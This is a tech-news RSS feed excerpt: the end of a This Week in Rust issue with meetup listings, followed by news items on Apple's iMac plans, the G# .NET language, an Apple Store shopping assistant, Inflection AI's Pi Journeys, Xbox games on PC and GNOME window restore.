<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s New iMac Coming This Year, OLED Version Planned]]></title>
<description><![CDATA[Apple plans to release a new iMac later this year, with development reportedly complete and production preparations moving closer to launch. The update will mark the first iMac refresh in two years, following the current M4 model introduced in October 2024.



Bloomberg’s Mark Gurman reports that...]]></description>
<link>https://tsecurity.de/de/3687947/ios-mac-os/apples-new-imac-coming-this-year-oled-version-planned/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687947/ios-mac-os/apples-new-imac-coming-this-year-oled-version-planned/</guid>
<pubDate>Thu, 23 Jul 2026 06:12:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple plans to release a new iMac later this year, with development reportedly complete and production preparations moving closer to launch. The update will mark the first iMac refresh in two years, following the current M4 model introduced in October 2024.



Bloomberg’s Mark Gurman reports that Apple has finished work on the new iMac models, which carry the internal codes J833 and J834. The machines are expected to arrive in the fall alongside a wider Mac refresh that includes new MacBook Pro models and other desktop updates.



The next iMac will feature a newer Apple silicon chip, although the exact processor remains unclear. Apple could use the existing M5 chip or move directly to the upcoming M6 chip, depending on the final release schedule and component availability.



No major design changes are expected, so the new model will likely retain the current 24-inch LCD display, slim body, and colorful finish options. Apple is also expected to keep two configurations with different CPU and GPU core counts, port options, and performance levels.



OLED iMac is also in development



Apple is also working on a future iMac with an OLED display, although that model remains further away. OLED technology would bring deeper blacks, stronger contrast, and richer colors compared with the LCD panel used in the current iMac.



The company has not released a larger iMac since discontinuing the 27-inch Intel model in 2022. Rumors about a bigger Apple silicon iMac have continued for years, but Apple has not introduced one.



The current iMac now starts at $1,499 in the United States after Apple raised Mac prices last month.]]></content:encoded>
</item>
<item>
<title><![CDATA[G# language for .NET borrows from Go, Kotlin, and Swift]]></title>
<description><![CDATA[G# (GSharp) is moving forward as a programming language for Microsoft’s .NET platform, touted as bringing Go-, Kotlin-, and Swift-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.



Although pre-1.0 and still growi...]]></description>
<link>https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</guid>
<pubDate>Thu, 23 Jul 2026 04:08:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://github.com/DavidObando/gsharp" data-type="link" data-id="https://github.com/DavidObando/gsharp">G# (GSharp)</a><strong> </strong>is moving forward as a programming language for Microsoft’s <a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">.NET</a> platform, touted as bringing <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>-, <a href="https://www.infoworld.com/article/2256390/what-is-kotlin-the-java-alternative-explained.html">Kotlin</a>-, and <a href="https://www.infoworld.com/article/4150248/swift-6-3-boosts-c-interoperability-android-sdk.html">Swift</a>-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.</p>



<p class="wp-block-paragraph">Although pre-1.0 and still growing, G# aims to be for people who want a small, predictable language with direct access to the .NET ecosystem. Developers will see imports, <code>func</code>, structs, slices, maps, channels, <code>go</code>, <code>select</code>, and <code>for in</code> iteration. Also important are nullable flow, direct calls into the CLR (Common Language Runtime), and built-in concurrency. </p>



<p class="wp-block-paragraph">With G#, copyrighted in 2026, developers get value-oriented structs, reference-oriented classes, data structs, and data classes. For concurrency, G# uses <code>scope</code> for structured concurrency, <code>async func</code><strong> </strong>and <code>await</code><strong> </strong>for task-based asynchrony, and <code>async sequence[T]</code> for asynchronous streams. G# also makes use of the same <code>Task</code> and <code>Task[T]</code> types familiar from the .NET BCL (Base Class Library).</p>



<p class="wp-block-paragraph">G# documentation is <a href="https://davidobando.github.io/gsharp/" data-type="link" data-id="https://davidobando.github.io/gsharp/">available on the GitHub site</a> of Microsoft software engineer David Obando. “Every .NET type—your packages, third-party NuGet packages, the BCL—is callable from G# with the syntax you already know. CLR generics use G#’s bracket spelling, and method calls, properties, indexers, and <code>for in</code><strong> </strong>over <code>IEnumerable[T]</code> all just work,” according to the website.</p>



<p class="wp-block-paragraph">A Visual Studio Code extension for G3 can be found at <a href="https://marketplace.visualstudio.com/items?itemName=gsharplang.vscode-gsharp">marketplace.visualstudio.com</a>. The extension adds syntax highlighting, language server features, build/run commands, and debugger configuration for <code>.gs</code> and <code>.gsproj</code> files. Developers can install the extension from within VS Code (search for “G#” in the Extensions view) or from the command line.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Store app Virtual Shopping Assistant could be coming soon]]></title>
<description><![CDATA[The privacy policy for the Apple Store app suggests that a new feature called Virtual Shopping Assistant could be implemented soon. It may function similarly to the Apple Support Assistant.Apple Support already has a chatbot, and soon, Apple Store will tooApple has been slowly increasing its use ...]]></description>
<link>https://tsecurity.de/de/3687682/ios-mac-os/apple-store-app-virtual-shopping-assistant-could-be-coming-soon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687682/ios-mac-os/apple-store-app-virtual-shopping-assistant-could-be-coming-soon/</guid>
<pubDate>Thu, 23 Jul 2026 00:00:31 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The privacy policy for the Apple Store app suggests that a new feature called Virtual Shopping Assistant could be implemented soon. It may function similarly to the Apple Support Assistant.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68330-144031-Apple-Support-Assistant-chat-icon-xl.jpg" alt="Glowing blue chat bubble with sparkles in the center on a dark background, surrounded by small colorful app and system icons scattered around it" height="738"><br><span>Apple Support already has a chatbot, and soon, Apple Store will too</span></div><br>Apple has been slowly <a href="https://appleinsider.com/articles/26/07/19/genius-bar-ai-tools-spark-concerns-over-employee-monitoring-evaluation">increasing its use</a> of AI tools both internally and in public-facing apps. While Apple still relies on humans for some support inquiries, AI is being offered in more locations.<br><br>It seems Apple may have let slip that a new feature is coming to the Apple Store app. The Virtual Shopping Assistant feature is called out in the Apple Store app <a href="https://www.apple.com/legal/privacy/data/en/apple-store-app/">privacy policy</a>, which was <a href="https://www.macrumors.com/2026/07/22/apple-store-app-shopping-assistant/">first spotted</a> by <em>MacRumors</em>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/22/apple-store-app-virtual-shopping-assistant-could-be-coming-soon?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245029?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Original Xbox Games Are Coming to PC Starting With Four Fan Favorites]]></title>
<description><![CDATA[Playable through Microsoft’s new Xbox Backward Compatibility program for PC, you’ll be able to relive classic Xbox titles directly on your laptop, desktop or handheld.]]></description>
<link>https://tsecurity.de/de/3687440/it-nachrichten/original-xbox-games-are-coming-to-pc-starting-with-four-fan-favorites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687440/it-nachrichten/original-xbox-games-are-coming-to-pc-starting-with-four-fan-favorites/</guid>
<pubDate>Wed, 22 Jul 2026 21:33:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Playable through Microsoft’s new Xbox Backward Compatibility program for PC, you’ll be able to relive classic Xbox titles directly on your laptop, desktop or handheld.]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] Save and restore may be coming to GNOME]]></title>
<description><![CDATA[One of the features that users often miss when moving from X11 to Wayland is
the ability to save and restore the position of windows between sessions. At GUADEC 2026, held in
A Coruña, Spain, Adrian Vovk provided an overview of work that has gone
into providing a platform-wide save and restore fr...]]></description>
<link>https://tsecurity.de/de/3687114/linux-tipps/save-and-restore-may-be-coming-to-gnome/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687114/linux-tipps/save-and-restore-may-be-coming-to-gnome/</guid>
<pubDate>Wed, 22 Jul 2026 19:14:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>One of the features that users often miss when moving from X11 to Wayland is
the ability to save and restore the position of windows between sessions. At <a href="https://events.gnome.org/event/306/">GUADEC 2026</a>, held in
A Coruña, Spain, Adrian Vovk provided an overview of work that has gone
into providing a platform-wide save and restore framework for GNOME. After two
failed attempts at landing an API, he believes that the third try will be the
one to succeed—though not in time for the upcoming GNOME 51 release
due in October.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Xbox is bringing games from its original console to PC]]></title>
<description><![CDATA[Some original Xbox games are coming to PC, complete with achievement support.]]></description>
<link>https://tsecurity.de/de/3687057/it-nachrichten/xbox-is-bringing-games-from-its-original-console-to-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687057/it-nachrichten/xbox-is-bringing-games-from-its-original-console-to-pc/</guid>
<pubDate>Wed, 22 Jul 2026 18:48:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some original Xbox games are coming to PC, complete with achievement support.]]></content:encoded>
</item>
<item>
<title><![CDATA[The engineering bottleneck has changed. Is your org prepared?]]></title>
<description><![CDATA[AI agents can turn a clear description into working software, the engineer’s judgement is what makes the difference: deciding what to build, catching the tradeoff the agent didn’t know to weigh, and owning the call on whether the result is right.



That judgement has always been the hard part of...]]></description>
<link>https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687009/it-security-nachrichten/the-engineering-bottleneck-has-changed-is-your-org-prepared/</guid>
